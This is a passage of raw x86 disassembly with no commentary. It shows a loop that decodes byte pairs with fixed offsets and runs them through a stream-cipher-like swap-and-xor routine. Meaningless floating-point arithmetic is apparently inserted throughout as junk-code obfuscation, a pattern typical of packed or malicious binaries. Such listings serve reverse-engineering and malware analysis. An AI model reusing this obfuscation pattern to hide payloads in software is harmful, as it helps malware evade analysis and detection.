mov byte [ebp - 0x4e5], cl
mov al, byte [ebp - 0x5fb]
add al, 1
mov byte [ebp - 0x5fb], al
movzx eax, byte [ebp - 0x4e5]
movzx ecx, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5f1]
movzx ecx, byte [ebp - 0x4e5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
movzx ecx, byte [ebp - 0x5f1]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
mov cl, byte [ebp - 0x6f1]
mov byte [ebp + eax - 0x5e8], cl
movzx eax, byte [ebp - 0x6f1]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x5e9]
add ecx, eax
mov byte [ebp - 0x5e9], cl
movzx eax, byte [ebp - 0x669]
movzx ecx, byte [ebp - 0x4e5]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x5fb]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
movzx ecx, byte [ebp - 0x5f1]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x4d5]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
movzx edx, byte [ebp - 0x5e9]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
mov byte [ebp - 0x5f1], al
mov al, byte [ebp - 0x669]
mov byte [ebp - 0x4d5], al
mov al, byte [ebp - 0x5f1]
mov byte [ebp - 0x6d9], al
cmp dword [ebp - 0x6b4], 0
jle 0x4bdda7
mov eax, dword [ebp - 0x6b4]
mov cl, byte [ebp - 0x6d9]
mov byte [ebp + eax - 0x4c5], cl
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b4]
shl eax, 1
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x614]
movzx eax, byte [eax]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x65c], 0xb7
mov eax, dword [ebp - 0x6b4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x684]
movzx eax, byte [eax]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6e4], 0xed
mov eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x65c]
mov dword [ebp - 0x6fc], eax
mov eax, dword [ebp - 0x700]
sub eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x6fc]
shl eax, 4
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x6f8]
or eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp - 0x6ac]
mov byte [ebp - 0x669], al
movzx eax, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp - 0x6f1], al
movzx eax, byte [ebp - 0x5fb]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x4e5]
add ecx, eax
mov byte [ebp - 0x4e5], cl
mov al, byte [ebp - 0x5fb]
add al, 1
mov byte [ebp - 0x5fb], al
movzx eax, byte [ebp - 0x4e5]
movzx ecx, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5f1]
movzx ecx, byte [ebp - 0x4e5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
movzx ecx, byte [ebp - 0x5f1]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
mov cl, byte [ebp - 0x6f1]
mov byte [ebp + eax - 0x5e8], cl
movzx eax, byte [ebp - 0x6f1]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x5e9]
add ecx, eax
mov byte [ebp - 0x5e9], cl
movzx eax, byte [ebp - 0x669]
movzx ecx, byte [ebp - 0x4e5]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x5fb]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
movzx ecx, byte [ebp - 0x5f1]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x4d5]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
movzx edx, byte [ebp - 0x5e9]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
mov byte [ebp - 0x5f1], al
mov al, byte [ebp - 0x669]
mov byte [ebp - 0x4d5], al
mov al, byte [ebp - 0x5f1]
mov byte [ebp - 0x6d9], al
cmp dword [ebp - 0x6b4], 0
jle 0x4bdffa
mov eax, dword [ebp - 0x6b4]
mov cl, byte [ebp - 0x6d9]
mov byte [ebp + eax - 0x4c5], cl
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
fld qword [0x9a52b0]
fstp qword [ebp - 0x640]
fld qword [0x9a52a8]
fstp qword [ebp - 0x678]
fld qword [0x9a4e38]
fstp qword [ebp - 0x6c0]
fld qword [0x9a52a0]
fstp qword [ebp - 0x658]
fld qword [0x9a5298]
fstp qword [ebp - 0x698]
fld qword [0x9a5290]
fstp qword [ebp - 0x6d8]
fld qword [0x9a5288]
fstp qword [ebp - 0x628]
fld qword [ebp - 0x6d8]
fmul qword [ebp - 0x628]
fstp qword [ebp - 0x6d8]
fld qword [ebp - 0x698]
fmul qword [ebp - 0x628]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x640]
fadd qword [ebp - 0x628]
fstp qword [ebp - 0x640]
fld qword [ebp - 0x6c0]
fmul qword [ebp - 0x628]
fstp qword [ebp - 0x6c0]
fld qword [ebp - 0x658]
fsub qword [ebp - 0x628]
fstp qword [ebp - 0x658]
fld qword [ebp - 0x6d8]
fsub qword [ebp - 0x628]
fstp qword [ebp - 0x6d8]
fld qword [ebp - 0x678]
fadd qword [ebp - 0x628]
fstp qword [ebp - 0x678]
fld qword [ebp - 0x6c0]
fcomp qword [ebp - 0x628]
fnstsw ax
test ah, 5
jp 0x4be313
fld qword [ebp - 0x628]
fadd qword [ebp - 0x678]
fstp qword [ebp - 0x628]
fld qword [ebp - 0x628]
fmul qword [ebp - 0x678]
fstp qword [ebp - 0x628]
fld qword [ebp - 0x678]
fsub qword [ebp - 0x658]
fstp qword [ebp - 0x678]
fld qword [ebp - 0x6d8]
fsub qword [ebp - 0x640]
fstp qword [ebp - 0x6d8]
fld qword [ebp - 0x658]
fmul qword [ebp - 0x6d8]
fstp qword [ebp - 0x658]
fld qword [ebp - 0x628]
fadd qword [ebp - 0x678]
fstp qword [ebp - 0x628]
fld qword [ebp - 0x628]
fmul qword [ebp - 0x678]
fstp qword [ebp - 0x628]
fld qword [ebp - 0x698]
fadd qword [ebp - 0x628]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x628]
fmul qword [ebp - 0x678]
fstp qword [ebp - 0x628]
fld qword [ebp - 0x6d8]
fmul qword [ebp - 0x640]
fstp qword [ebp - 0x6d8]
fld qword [ebp - 0x698]
fsub qword [ebp - 0x628]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x698]
fdiv qword [ebp - 0x628]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x628]
fdiv qword [ebp - 0x678]
fstp qword [ebp - 0x628]
fld qword [ebp - 0x698]
fadd qword [ebp - 0x628]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x6d8]
fcomp qword [ebp - 0x658]
fnstsw ax
test ah, 5
jp 0x4be290
fld qword [ebp - 0x698]
fsub qword [ebp - 0x628]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x678]
fadd qword [ebp - 0x658]
fstp qword [ebp - 0x678]
fld qword [ebp - 0x658]
fadd qword [ebp - 0x6d8]
fstp qword [ebp - 0x658]
fld qword [ebp - 0x6c0]
fmul qword [ebp - 0x698]
fstp qword [ebp - 0x6c0]
fld qword [ebp - 0x6d8]
fmul qword [ebp - 0x640]
fstp qword [ebp - 0x6d8]
fld qword [ebp - 0x640]
fadd qword [ebp - 0x6c0]
fstp qword [ebp - 0x640]
fld qword [ebp - 0x640]
fdiv qword [ebp - 0x6c0]
fstp qword [ebp - 0x640]
jmp 0x4be30e
fld qword [ebp - 0x6d8]
fmul qword [ebp - 0x628]
fstp qword [ebp - 0x6d8]
fld qword [ebp - 0x640]
fsub qword [ebp - 0x678]
fstp qword [ebp - 0x640]
fld qword [ebp - 0x658]
fadd qword [ebp - 0x698]
fstp qword [ebp - 0x658]
fld qword [ebp - 0x698]
fadd qword [ebp - 0x6d8]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x678]
fsub qword [ebp - 0x6c0]
fstp qword [ebp - 0x678]
fld qword [ebp - 0x698]
fadd qword [ebp - 0x6d8]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x628]
fdiv qword [ebp - 0x640]
fstp qword [ebp - 0x628]
jmp 0x4be39f
fld qword [ebp - 0x698]
fmul qword [ebp - 0x6d8]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x640]
fsub qword [ebp - 0x678]
fstp qword [ebp - 0x640]
fld qword [ebp - 0x6d8]
fsub qword [ebp - 0x628]
fstp qword [ebp - 0x6d8]
fld qword [ebp - 0x698]
fadd qword [ebp - 0x6d8]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x678]
fmul qword [ebp - 0x6c0]
fstp qword [ebp - 0x678]
fld qword [ebp - 0x698]
fmul qword [ebp - 0x6d8]
fstp qword [ebp - 0x698]
fld qword [ebp - 0x658]
fsub qword [ebp - 0x698]
fstp qword [ebp - 0x658]
mov eax, dword [ebp - 0x6b4]
shl eax, 1
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x614]
movzx eax, byte [eax]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x65c], 0xb7
mov eax, dword [ebp - 0x6b4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x684]
movzx eax, byte [eax]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6e4], 0xed
mov eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x65c]
mov dword [ebp - 0x6fc], eax
mov eax, dword [ebp - 0x700]
sub eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x62c], eax
fld qword [0x9a5280]
fstp qword [ebp - 0x650]
fld qword [0x9a5278]
fstp qword [ebp - 0x690]
fld qword [0x9a5270]
fstp qword [ebp - 0x6d0]
fld qword [0x9a5268]
fstp qword [ebp - 0x620]
fld qword [ebp - 0x690]
fsub qword [ebp - 0x620]
fstp qword [ebp - 0x690]
fld qword [ebp - 0x690]
fmul qword [ebp - 0x620]
fstp qword [ebp - 0x690]
fld qword [ebp - 0x650]
fsub qword [ebp - 0x620]
fstp qword [ebp - 0x650]
fld qword [ebp - 0x690]
fsub qword [ebp - 0x620]
fstp qword [ebp - 0x690]
fld qword [ebp - 0x690]
fcomp qword [ebp - 0x620]
fnstsw ax
test ah, 0x41
jne 0x4be4f8
fld qword [ebp - 0x620]
fmul qword [ebp - 0x690]
fstp qword [ebp - 0x620]
fld qword [ebp - 0x650]
fmul qword [ebp - 0x6d0]
fstp qword [ebp - 0x650]
fld qword [ebp - 0x690]
fsub qword [ebp - 0x620]
fstp qword [ebp - 0x690]
fld qword [ebp - 0x620]
fmul qword [ebp - 0x690]
fstp qword [ebp - 0x620]
mov eax, dword [ebp - 0x6fc]
shl eax, 4
mov dword [ebp - 0x6f8], eax
jmp 0x4be62d
fld qword [ebp - 0x620]
fdiv qword [ebp - 0x690]
fstp qword [ebp - 0x620]
fld qword [ebp - 0x620]
fsub qword [ebp - 0x690]
fstp qword [ebp - 0x620]
fld qword [ebp - 0x620]
fmul qword [ebp - 0x690]
fstp qword [ebp - 0x620]
fld qword [ebp - 0x6d0]
fmul qword [ebp - 0x650]
fstp qword [ebp - 0x6d0]
fld qword [ebp - 0x650]
fadd qword [ebp - 0x690]
fstp qword [ebp - 0x650]
fld qword [ebp - 0x6d0]
fmul qword [ebp - 0x620]
fstp qword [ebp - 0x6d0]
fld qword [ebp - 0x6d0]
fadd qword [ebp - 0x620]
fstp qword [ebp - 0x6d0]
fld qword [ebp - 0x650]
fsub qword [ebp - 0x690]
fstp qword [ebp - 0x650]
fld qword [ebp - 0x620]
fcomp qword [ebp - 0x690]
fnstsw ax
test ah, 5
jp 0x4be5e5
fld qword [ebp - 0x620]
fdiv qword [ebp - 0x690]
fstp qword [ebp - 0x620]
fld qword [ebp - 0x6d0]
fsub qword [ebp - 0x650]
fstp qword [ebp - 0x6d0]
fld qword [ebp - 0x620]
fmul qword [ebp - 0x690]
fstp qword [ebp - 0x620]
fld qword [ebp - 0x690]
fadd qword [ebp - 0x620]
fstp qword [ebp - 0x690]
jmp 0x4be62d
fld qword [ebp - 0x6d0]
fmul qword [ebp - 0x620]
fstp qword [ebp - 0x6d0]
fld qword [ebp - 0x6d0]
fsub qword [ebp - 0x620]
fstp qword [ebp - 0x6d0]
fld qword [ebp - 0x690]
fadd qword [ebp - 0x6d0]
fstp qword [ebp - 0x690]
fld qword [ebp - 0x650]
fadd qword [ebp - 0x690]
fstp qword [ebp - 0x650]
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x6f8]
or eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp - 0x6ac]
mov byte [ebp - 0x669], al
movzx eax, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp - 0x6f1], al
movzx eax, byte [ebp - 0x5fb]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x4e5]
add ecx, eax
mov byte [ebp - 0x4e5], cl
mov al, byte [ebp - 0x5fb]
add al, 1
mov byte [ebp - 0x5fb], al
movzx eax, byte [ebp - 0x4e5]
movzx ecx, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5f1]
movzx ecx, byte [ebp - 0x4e5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
movzx ecx, byte [ebp - 0x5f1]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
mov cl, byte [ebp - 0x6f1]
mov byte [ebp + eax - 0x5e8], cl
movzx eax, byte [ebp - 0x6f1]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x5e9]
add ecx, eax
mov byte [ebp - 0x5e9], cl
movzx eax, byte [ebp - 0x669]
movzx ecx, byte [ebp - 0x4e5]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x5fb]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
movzx ecx, byte [ebp - 0x5f1]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x4d5]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
movzx edx, byte [ebp - 0x5e9]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
mov byte [ebp - 0x5f1], al
mov al, byte [ebp - 0x669]
mov byte [ebp - 0x4d5], al
mov al, byte [ebp - 0x5f1]
mov byte [ebp - 0x6d9], al
cmp dword [ebp - 0x6b4], 0
jle 0x4be7d7
mov eax, dword [ebp - 0x6b4]
mov cl, byte [ebp - 0x6d9]
mov byte [ebp + eax - 0x4c5], cl
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b4]
shl eax, 1
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x614]
movzx eax, byte [eax]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x65c], 0xb7
mov eax, dword [ebp - 0x6b4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x684]
movzx eax, byte [eax]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6e4], 0xed
mov eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x65c]
mov dword [ebp - 0x6fc], eax
mov eax, dword [ebp - 0x700]
sub eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x6fc]
shl eax, 4
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x6f8]
or eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp - 0x6ac]
mov byte [ebp - 0x669], al
movzx eax, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp - 0x6f1], al
movzx eax, byte [ebp - 0x5fb]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x4e5]
add ecx, eax
mov byte [ebp - 0x4e5], cl
mov al, byte [ebp - 0x5fb]
add al, 1
mov byte [ebp - 0x5fb], al
movzx eax, byte [ebp - 0x4e5]
movzx ecx, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5f1]
movzx ecx, byte [ebp - 0x4e5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
movzx ecx, byte [ebp - 0x5f1]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
mov cl, byte [ebp - 0x6f1]
mov byte [ebp + eax - 0x5e8], cl
movzx eax, byte [ebp - 0x6f1]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x5e9]
add ecx, eax
mov byte [ebp - 0x5e9], cl
movzx eax, byte [ebp - 0x669]
movzx ecx, byte [ebp - 0x4e5]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x5fb]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
movzx ecx, byte [ebp - 0x5f1]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x4d5]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
movzx edx, byte [ebp - 0x5e9]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
mov byte [ebp - 0x5f1], al
mov al, byte [ebp - 0x669]
mov byte [ebp - 0x4d5], al
mov al, byte [ebp - 0x5f1]
mov byte [ebp - 0x6d9], al
cmp dword [ebp - 0x6b4], 0
jle 0x4bea2a
mov eax, dword [ebp - 0x6b4]
mov cl, byte [ebp - 0x6d9]
mov byte [ebp + eax - 0x4c5], cl
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x704], eax
jmp 0x4bea53
mov eax, dword [ebp - 0x704]
inc eax
mov dword [ebp - 0x704], eax
mov eax, dword [ebp - 0x704]
cmp eax, dword [ebp - 0x6b0]
jge 0x4bee4a
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b4]
shl eax, 1
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x614]
movzx eax, byte [eax]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x65c], 0xb7
mov eax, dword [ebp - 0x6b4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x684]
movzx eax, byte [eax]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6e4], 0xed
mov eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x65c]
mov dword [ebp - 0x6fc], eax
mov eax, dword [ebp - 0x700]
sub eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x6fc]
shl eax, 4
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x6e0], eax
fld dword [0x9a5260]
fstp dword [ebp - 0x708]
fld dword [0x9a525c]
fstp dword [ebp - 0x70c]
fld dword [0x9a5258]
fstp dword [ebp - 0x710]
fld dword [ebp - 0x708]
fsub dword [ebp - 0x710]
fstp dword [ebp - 0x708]
fld dword [ebp - 0x708]
fmul dword [ebp - 0x710]
fstp dword [ebp - 0x708]
fld dword [ebp - 0x708]
fsub dword [ebp - 0x710]
fstp dword [ebp - 0x708]
fld dword [ebp - 0x708]
fld dword [ebp - 0x710]
fcompp
fnstsw ax
test ah, 0x41
jne 0x4bec71
fld dword [ebp - 0x708]
fdiv dword [ebp - 0x70c]
fstp dword [ebp - 0x708]
fld dword [ebp - 0x708]
fdiv dword [ebp - 0x70c]
fstp dword [ebp - 0x708]
fld dword [ebp - 0x710]
fsub dword [ebp - 0x708]
fstp dword [ebp - 0x710]
fld dword [ebp - 0x710]
fsub dword [ebp - 0x70c]
fstp dword [ebp - 0x710]
fld dword [ebp - 0x70c]
fadd dword [ebp - 0x708]
fstp dword [ebp - 0x70c]
fld dword [ebp - 0x70c]
fsub dword [ebp - 0x708]
fstp dword [ebp - 0x70c]
fld dword [ebp - 0x708]
fld dword [ebp - 0x710]
fcompp
fnstsw ax
test ah, 0x41
jne 0x4bec39
fld dword [ebp - 0x710]
fmul dword [ebp - 0x708]
fstp dword [ebp - 0x710]
fld dword [ebp - 0x710]
fsub dword [ebp - 0x708]
fstp dword [ebp - 0x710]
fld dword [ebp - 0x708]
fadd dword [ebp - 0x70c]
fstp dword [ebp - 0x708]
jmp 0x4bec6f
fld dword [ebp - 0x70c]
fmul dword [ebp - 0x708]
fstp dword [ebp - 0x70c]
fld dword [ebp - 0x710]
fdiv dword [ebp - 0x70c]
fstp dword [ebp - 0x710]
fld dword [ebp - 0x70c]
fdiv dword [ebp - 0x708]
fstp dword [ebp - 0x70c]
jmp 0x4becb9
fld dword [ebp - 0x708]
fadd dword [ebp - 0x710]
fstp dword [ebp - 0x708]
fld dword [ebp - 0x708]
fsub dword [ebp - 0x710]
fstp dword [ebp - 0x708]
fld dword [ebp - 0x708]
fsub dword [ebp - 0x710]
fstp dword [ebp - 0x708]
mov eax, dword [ebp - 0x6f8]
or eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp - 0x6ac]
mov byte [ebp - 0x669], al
movzx eax, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp - 0x6f1], al
movzx eax, byte [ebp - 0x5fb]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x4e5]
add ecx, eax
mov byte [ebp - 0x4e5], cl
mov al, byte [ebp - 0x5fb]
add al, 1
mov byte [ebp - 0x5fb], al
movzx eax, byte [ebp - 0x4e5]
movzx ecx, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5f1]
movzx ecx, byte [ebp - 0x4e5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
movzx ecx, byte [ebp - 0x5f1]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
mov cl, byte [ebp - 0x6f1]
mov byte [ebp + eax - 0x5e8], cl
movzx eax, byte [ebp - 0x6f1]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x5e9]
add ecx, eax
mov byte [ebp - 0x5e9], cl
movzx eax, byte [ebp - 0x669]
movzx ecx, byte [ebp - 0x4e5]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x5fb]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
movzx ecx, byte [ebp - 0x5f1]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x4d5]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
movzx edx, byte [ebp - 0x5e9]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
mov byte [ebp - 0x5f1], al
mov al, byte [ebp - 0x669]
mov byte [ebp - 0x4d5], al
mov al, byte [ebp - 0x5f1]
mov byte [ebp - 0x6d9], al
cmp dword [ebp - 0x6b4], 0
jle 0x4bee45
mov eax, dword [ebp - 0x6b4]
mov cl, byte [ebp - 0x6d9]
mov byte [ebp + eax - 0x4c5], cl
jmp 0x4bea46
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b4]
shl eax, 1
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x614]
movzx eax, byte [eax]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x65c], 0xb7
mov eax, dword [ebp - 0x6b4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x684]
movzx eax, byte [eax]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6e4], 0xed
mov eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x65c]
mov dword [ebp - 0x6fc], eax
mov eax, dword [ebp - 0x700]
sub eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x6fc]
shl eax, 4
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x6f8]
or eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp - 0x6ac]
mov byte [ebp - 0x669], al
movzx eax, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp - 0x6f1], al
movzx eax, byte [ebp - 0x5fb]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x4e5]
add ecx, eax
mov byte [ebp - 0x4e5], cl
mov al, byte [ebp - 0x5fb]
add al, 1
mov byte [ebp - 0x5fb], al
movzx eax, byte [ebp - 0x4e5]
movzx ecx, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5f1]
movzx ecx, byte [ebp - 0x4e5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
movzx ecx, byte [ebp - 0x5f1]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
mov cl, byte [ebp - 0x6f1]
mov byte [ebp + eax - 0x5e8], cl
movzx eax, byte [ebp - 0x6f1]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x5e9]
add ecx, eax
mov byte [ebp - 0x5e9], cl
movzx eax, byte [ebp - 0x669]
movzx ecx, byte [ebp - 0x4e5]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x5fb]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
movzx ecx, byte [ebp - 0x5f1]
